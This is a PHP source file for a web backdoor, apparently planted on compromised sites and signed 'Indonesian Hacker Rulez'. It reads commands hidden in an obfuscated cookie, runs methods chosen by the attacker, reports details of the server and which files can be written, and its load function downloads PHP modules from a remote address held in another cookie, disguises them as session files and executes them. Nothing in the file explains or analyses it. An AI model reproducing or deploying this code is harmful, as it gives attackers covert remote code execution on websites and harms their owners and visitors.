<?php
class mbd_core
{
public function __construct($file, $server)
{
if(!isset($_COOKIE[1])) return $this->out(1);
$data = json_decode(base64_decode(str_rot13($_COOKIE[1])));
if(!$data) return $this->out(2);
$this->file = preg_replace('|\((.*)$|', '', $file);
$this->server = $server;
$this->data = $data;
$this->phpv = substr(phpversion(), 0, 3);
$this->dir = dirname($this->file);
$this->tmp = dirname(__FILE__);
$this->root = $this->server['DOCUMENT_ROOT'];
$this->test = isset($data->test);
$this->gtype = 0;
if(isset($data->method))
{
$method = $data->method;
$this->$method();
}
if(isset($data->class))
{
$class = $this->load(isset($data->class->name)?$data->class->name:$data->class);
if(isset($data->class->method))
{
$method = $data->class->method;
$class->$method();
}
}
return $this->out();
}
function link($path)
{
$home = $this->root;
if(isset($this->server['HTTP_X_FORWARDED_PROTO'])) $url = $this->server['HTTP_X_FORWARDED_PROTO'];
elseif(isset($this->server['REQUEST_SCHEME'])) $url = $this->server['REQUEST_SCHEME'];
else $url = 'http';
$url .= '://'.$this->server['HTTP_HOST'];
$re = '|^'.preg_quote($home).'|i';
if(!preg_match($re, $path)) return $path;
$path = preg_replace($re, '', $path);
$path = str_replace(DIRECTORY_SEPARATOR, '/', $path);
if(!preg_match('|^/|', $path)) $path = '/'.$path;
return $url.$path;
}
function curl($url)
{
if(!function_exists('curl_init')) return FALSE;
$ch = curl_init();
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_AUTOREFERER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36");
$result = @curl_exec($ch);
curl_close($ch);
return $result;
}
function info()
{
$index = FALSE;
foreach(array('php','phtml','html','htm','cgi') AS $ext)
{
$index = $this->root.'/index.'.$ext;
if(is_file($index)) break;
}
$url = 'https://ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js';
$fgc = @file_get_contents($url);
$fgc = ($fgc && strpos($fgc, 'jquery')!==FALSE);
$curl = $this->curl($url);
$curl = ($curl && strpos($curl, 'jquery')!==FALSE);
$this->data->result = array(
'tmp' => dirname(__FILE__),
'root' => $this->root,
'dir' => $this->dir,
'php' => phpversion(),
'os' => php_uname(),
//'ini' => ini_get_all(),
'wroot' => is_writable($this->root),
'wdir' => is_writable($this->dir),
'windex' => ($index && is_file($index) && is_writable($index)),
'sapi' => php_sapi_name(),
'ext' => $ext,
'perms' => substr(sprintf('%o', @fileperms($this->file)), -4),
'file' => $this->file,
'hdd' => disk_total_space('/'),
'fgc' => $fgc,
'curl' => $curl
);
}
function rmdir($dir, $clean=0)
{
if ($objs = glob($dir.'/*')) {
foreach ($objs as $obj) {
is_dir($obj) ? $this->rmdir($obj) : @unlink($obj);
}
}
return $clean ? (count(glob($dir.'/*'))==0) : @rmdir($dir);
}
function get_files($dir = '.', $onlydir=FALSE){
$files = array();
if ($handle = opendir($dir)) {
while (false !== ($item = readdir($handle))) {
$f = $dir.'/'.$item;
if(!$onlydir&&is_file($f)) {
$files[] = $f;
}elseif(is_dir($f) && ($item != '.') && ($item != '..')){
if($onlydir) $files[] = $f;
$files = array_merge($files, $this->get_files($f, $onlydir));
}
}
closedir($handle);
}
return $files;
}
function scan_dir($dir) {
if(function_exists('scandir')) {
return scandir($dir);
} else {
$dh = opendir($dir);
while (false !== ($filename = readdir($dh)))
$files[] = $filename;
return $files;
}
}
function load($name, $return=FALSE, $save=TRUE)
{
$class = 'mbd_'.$name;
$file = $this->tmp.'/sess_'.md5($class).$name;
if(!is_file($file) || $this->test)
{
$url = base64_decode(str_rot13($_COOKIE[0])).$this->data->key.'-'.$this->phpv.'-'.$name;
//$this->out('url: '.$url);
$data = $this->get($url);
if(empty($data) && !$return) return $this->out('not load');
if(strpos($data, '[@error@]')!==FALSE) return $this->out('break load');
if($save) $this->file_put($file, $data);
if($return) return $data;
}
if($return) return $this->file_get($file);
if(!class_exists($class)) include($file);
return new $class($this);
}
function rand($length = 10, $chars='qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890') {
$l = strlen($chars);
$r = '';
for ($i = 0; $i < $length; $i++) {
$r .= $chars[rand(0, $l - 1)];
}
return $r;
}
function out($e=0)
{
if($e) $this->data->error = $e;
$data = json_encode($this->data);
if(empty($data)) $data = $this->load('conv')->get();
echo '[@]'.$data.'[@]';
exit;
}
function get2($g, $p)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $g);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
if($p)
{
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $p);
}
$d = curl_exec($ch);
curl_close ($ch);
if($d)
{
$this->gtype = 2;
return $d;
}
return FALSE;
}
function get($u, $p=0)
{
if($this->gtype>1)
{
$f = 'get'.$this->gtype;
return $this->$f($u, $p);
}
$g = parse_url($u);
$d = '';
$s = ($g['scheme']=='https');
$h = ($p?'POST':'GET')." ".$g['path'];
if(isset($g['query'])) $h .= '?'.$g['query'];
$h .= " HTTP/1.0\r\n";
$h .= "Host: ".$g['host']."\r\n";
if($p)
{
$h .= "Content-Type: application/x-www-form-urlencoded\r\n";
$h .= "Content-Length: ".strlen($p)."\r\n\r\n".$p."\r\n\r\n";
}else $h .= "Connection: Close\r\n\r\n";
$fp = fsockopen(($s?'ssl://':'').$g['host'], $s?443:80);
//var_dump($fp);exit;
if($fp) {
@fputs($fp, $h);
$r = 0;
while(!feof($fp))
{
$b = fgets($fp, 1024);
if($r) $d .= $b;
if($b == "\r\n") $r = 1;
}
@fclose($fp);
if(!$this->gtype) $this->gtype = 1;
return $d;
}
if(!$this->gtype) return $this->get2($u, $p);
return FALSE;
}
function file_get($file)
{
$fp = @fopen($file, 'rb');
$length = @filesize($file);
$data = @fread($fp, $length);
@fclose($fp);
return $data;
}
function file_put($file, $data)
{
$fp = fopen($file, 'w');
$test = fwrite($fp, $data);
fclose($fp);
return $test;
}
function copy($from, $to)
{
if(is_dir($from))
{
$dir = opendir($from);
if(!is_dir($to)) mkdir($to);
while(false !== ( $f = readdir($dir)) ) {
if($f!='.' && $f!='..') $this->copy($from.'/'.$f, $to.'/'.$f);
}
closedir($dir);
return TRUE;
}else return copy($from, $to);
}
}
Copyright 2K16 - 2K18 Indonesian Hacker Rulez